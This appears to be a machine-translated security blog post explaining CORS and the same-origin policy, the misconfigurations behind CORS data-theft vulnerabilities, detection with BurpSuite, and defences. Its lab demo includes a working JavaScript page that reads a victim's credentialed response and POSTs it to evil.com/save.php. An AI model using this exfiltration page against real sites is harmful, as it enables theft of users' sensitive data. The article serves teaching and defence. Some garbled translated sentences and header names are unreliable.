CORS vulnerability analysis

CORS Cross-Domain Vulnerability Analysis

CORS is called Cross-Origin Resource Sharing (cross-domain resource sharing), a technology used to bypass SOP (same-origin policy) to achieve cross-domain resource access. The CORS vulnerability uses CORS technology to steal sensitive user data. Although JSONP hijacking similar to the CORS vulnerability has occurred for many years in the past, it is still evolving and spreading because some manufacturers do not pay enough attention to it.

Insert picture description here
Metron Security Lab recently monitored that there are increasing cases of CSRF defense crashes caused by JSONP hijacking or CORS vulnerabilities across the country. Therefore, a separate article on the principles and defense methods of CORS vulnerabilities is published here. I hope that the officials will protect their own. The system is protected from such threats.

0x01 Introduction of CORS and SOP

The introduction of CORS begins with the browser's same-origin policy. SOP is called Same Origin Policy, which is a security cornerstone of the browser. The same-origin policy states that client scripts in different domains are In the case of explicit authorization, the other party's resources cannot be read or written. In simple terms, the same-origin policy is that the browser will prevent one source from interacting with the resources of another source. Imagine if there is no same-origin policy, when you visit a normal website and open another malicious website inadvertently, the malicious website will steal all your information from the normal website you just visited.

SOP is a good strategy. During the period when SOP was proposed, everyone silently followed this rule, but with the development of WEB applications, some websites need to implement some cross-domain functions to make different because of their own business needs. The pages of the domain can mutually access the contents of their respective pages. In order to achieve this cross-domain requirement, smart programmers have come up with an encoding technology JSONP, which uses the return value of the json format passed from the client to define the json in the way of defining the function in advance at the server segment calling the interface The parameter value in the format, and load the script tag to call this function to achieve cross-domain. It can be seen that although JSONP is good, it does not solve the cross-domain problem at the protocol level, so there have been many security problems. In order to make cross-domain resource access more secure, CORS was born.

CORS is a mechanism provided by H5. WEB applications can tell browsers by adding specific fields in HTTP messages, which servers from different sources are authorized to access the resources of this site.

0x02 CORS Cross-domain Principles and Causes of Vulnerabilities

Browsers divide CORS requests into two categories: simple requests and not-so-simple requests. As long as the following two conditions are met at the same time, it is a simple request, otherwise it is a non-simple request. ①The request method is one of (HEAD, GET, POST); ② The HTTP header information does not exceed (Accept, Accept-Language, Content-Language, Lat-Event-ID, Content-Type) these kinds of fields.

For simple requests, the general process is that the browser finds that the request submitted to the server this time is a simple request, so it automatically adds an Origin field to the header information to indicate which domain this request came from. When the server receives the request and finds that the domain name specified in the Origin field is within the permitted range, the server will add three fields related to CORS in the response packet, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access- Control-Expose-Headers. The Access-Control-Allow-Origin field must be present. Its value may be the value of the Origin field or a wildcard "*", which means that it can accept any domain name request. Of course, most servers if configured with wildcards, information The risk of leakage suddenly increased. Back to the three fields, the Access-Control-Allow-Credentials field is not a required field, its value is a Boolean value and can only be set to true, indicating that the server allows the browser to include cookies in the request, otherwise This field is not added. However, it should be noted that if you want to send cookies, Access-Control-Allow-Origin can not be set to an asterisk, you must explicitly specify the domain name consistent with the requested page, while cookies still follow the same-origin policy. The Access-Control-Expose-Headers field mainly specifies other server fields that want to get the getResponseHeader () method in the XMLHttpRequest object.
Insert picture description here
The so-called non-simple request is the request that puts special requirements on the server, for example, the request method is PUT or DELETE. Non-simple CORS requests will add an HTTP query request before formal communication, which is called a "preflight request". The browser first asks the server whether the domain name where the current webpage is located is on the server's permission list and which HTTP verb and header information fields can be used. Only if a positive response is obtained, the browser will formally issue an XMLHttpRequest request or an error will be reported. The advantage of this kind of request is to reduce the pressure on the traditional server without CORS support, giving the server an opportunity to refuse in advance. The specific process is as follows, when the method of constructing the request packet is PUT or DELETE and passed to the browser, the browser finds that the request is not a simple request, so the browser constructs a preflight request packet, the request header is OPTIONS, and carries three keywords Segment, Origin, Access-Control-Request-Method, Access-Control-Request-Headers. Among them, Access-Control-Request-Method indicates which HTTP methods will be used by the browser's CORS request, and Access-Control-Request-Headers indicates the header information field that the browser CORS request will send additionally. After the server receives the preflight request, after checking the three core fields, if it is determined that cross-domain requests are allowed, it will return a normal HTTP response and carry the incoming CORS header information. If the server denies the request, it will return a normal HTTP response but there is no CORS-related header information field, or it clearly indicates that the request does not meet the conditions. The browser decides whether to make a simple request or reject the request based on the return result of the pre-request.
Insert picture description here
CORS compares the relevant fields of the request header with the server-side rules to choose whether to allow cross-domain. Any program that needs to configure rules will inevitably cause some accidents. Just like many senior programmers sometimes ca n’t write proper rules, when the rules configured on the server are not reasonable enough, resources in different domains can access each other , For example Access-Control-Allow-Origin: *. Instead, CORS collapsed the protection mechanism of the homology strategy.Therefore, the cause of the CORS vulnerability is obviously caused by improper server configuration rules.

0x03 CORS vulnerability attack process

Insert picture description here
● 1. Suppose the user logs in to a website foo.com with CORS configuration, and at the same time visits a link evil.com provided by the attacker.

● 2.evil.com's website initiates a request to foo.com for sensitive data. Whether the browser can receive information depends on the configuration of foo.com.

● 3. If foo.com is configured with the Access-Control-Allow-Origin header and it is expected, then reception is allowed, otherwise the browser will not receive because of the same-origin policy.

The code of
Insert picture description here
http://foo.com/index.php is as follows. The code of http://foo.com/phpinfo.php is as follows.
Insert picture description here
After accessing index.php, visit phpinfo.php again and you can find httponly COOKIE on the phpinfo page. Assume that this cookie is the sensitive information that the hacker wants to obtain.
Insert picture description here
Then construct the malicious page http://evil.com/steal.html that the hacker sent to the user

<!DOCTYPE>
<html>
<h1>CORS test</h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr1;
    var xhr2;
	
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
    }
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            xhr2.open("POST","http://evil.com/save.php","true");
			alert('3');
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");
            xhr2.send("T1="+escape(datas));      
        }
    }
    xhr1.open("GET","http://foo.com/phpinfo.php","true") //request user page.
    alert(xhr1.responseText);
	xhr1.withCredentials = true;        //request with cookie
    xhr1.send();
}
loadXMLDoc();
</script>
</html>

When the user clicks on this page, evil.com sends a resource request to foo.com through AJAX, so the browser automatically adds the Origin field.
Insert picture description here
Next, the hacker submits the obtained sensitive information to save.php, and save.php saves the data in phpinfo.html. The code of evil.com/save.php is as follows: The
Insert picture description here
hacker's request flow is steal.html-> phpinfo.php-> save.php. We can replay the captured phpinfo.php request packet through BurpSuite's Repeater function to find that the response packet contains the returned content, that is, the requested resource.
Insert picture description here
Insert picture description here
However, there is no resource returned in save.php. By checking the browser console prompt message, it is found that the browser intercepts the cross-origin request because the response packet lacks the Access-Control-Allow-Origin response header.
Insert picture description here
Remove the comments on the foo.com/phpinfo.php server and
Insert picture description here
re-visit http://evil.com/steal.html and
Insert picture description here
find that the corresponding CORS response header appears in the response packet. Access-Control-Allow-Origin refers to the source that allows access. Access-Control-Allow-Credentials refers to allowing cookies to access resources. In this way, the browser will intercept the request without error, and then the js script encodes the page and sends it to evil.com/save.php to
Insert picture description here
simulate a hacker accessing the evil.com/phpinfo.html page, you can find the sensitive information that has been stolen. . So far, the CORS vulnerability has been successfully used for cross-domain resource access.
Insert picture description here

0x04 CORS vulnerability mining exploration

The vulnerability of CORS mainly depends on when the origin header field is included in the request we initiated, the server's return packet carries the relevant fields of CORS and allows Origin domain access.

Generally, BurpSuite is used for testing WEB vulnerabilities, and BurpSuite can help us detect this vulnerability.

The first is to automatically add the Origin header field to the HTTP request packet, open BurpSuite, select the Options option in the Proxy module, find the Match and Replace column, check the Request header to replace the empty with Origin: foo.example.org Enable box.
Insert picture description here
Then we can access the website that we believe to be vulnerable when Burpsuite is turned on. After enough visits, the HTTP history under the Proxy module of BurpSuite can filter the value with the CORS header. The
Insert picture description here
filter condition can be set to:
Access-Control- Allow-Origin: *
Access-Control-Allow-Credentials: true
Insert picture description here

0x05 repair and defense methods

  1. Carefully evaluate whether to enable CORS, and do not enable CORS if it is unnecessary
  2. If it is absolutely necessary, a white list of "sources" should be defined. Try not to use regular expression configuration, do not configure "Access-Contol-Allow-Origin" as a wildcard "*", and strictly verify the Origin value from the request.
  3. Only secure protocols are allowed, it is necessary to verify the protocol to ensure that interactions from insecure channels (HTTP) are not allowed, otherwise the middleman (MitM) will bypass the HTTPS used by the application
  4. It is necessary to return the "Vary: Origin" header as much as possible to avoid attackers using browser cache
  5. Avoid using the "Credentials" header if possible. Since the "Access-Control-Allow-Credentials" header is set to "true", credential data is allowed in cross-domain requests, so it should only be configured when strictly necessary. This header also increases the risk of CSRF attacks; therefore, it is necessary to protect it.
  6. Restricted methods, through the "Access-Control-Allow-Methods" header, you can also configure methods that allow cross-domain requests, which can minimize the methods involved.
  7. To limit the cache time, use the "Access-Control-Allow-Methods" and "Access-Control-Allow-Headers" headers to limit the time the browser caches information. This can be done by using the "Access-Control-Max-Age" heading. This header receives the number of times as input, which is the time the browser saves the cache. Configure a relatively low value (for example, about 30 minutes) to ensure that the browser can update the policy (such as allowed sources) in a short time.
  8. Configure only the required headers. Configure cross-domain headers only when cross-domain requests are received, and ensure that cross-domain requests are legitimate (only allowed from legitimate sources).
Published 21 original articles · won 14 · visited 4075

Guess you like

Origin blog.csdn.net/m0_38103658/article/details/102721402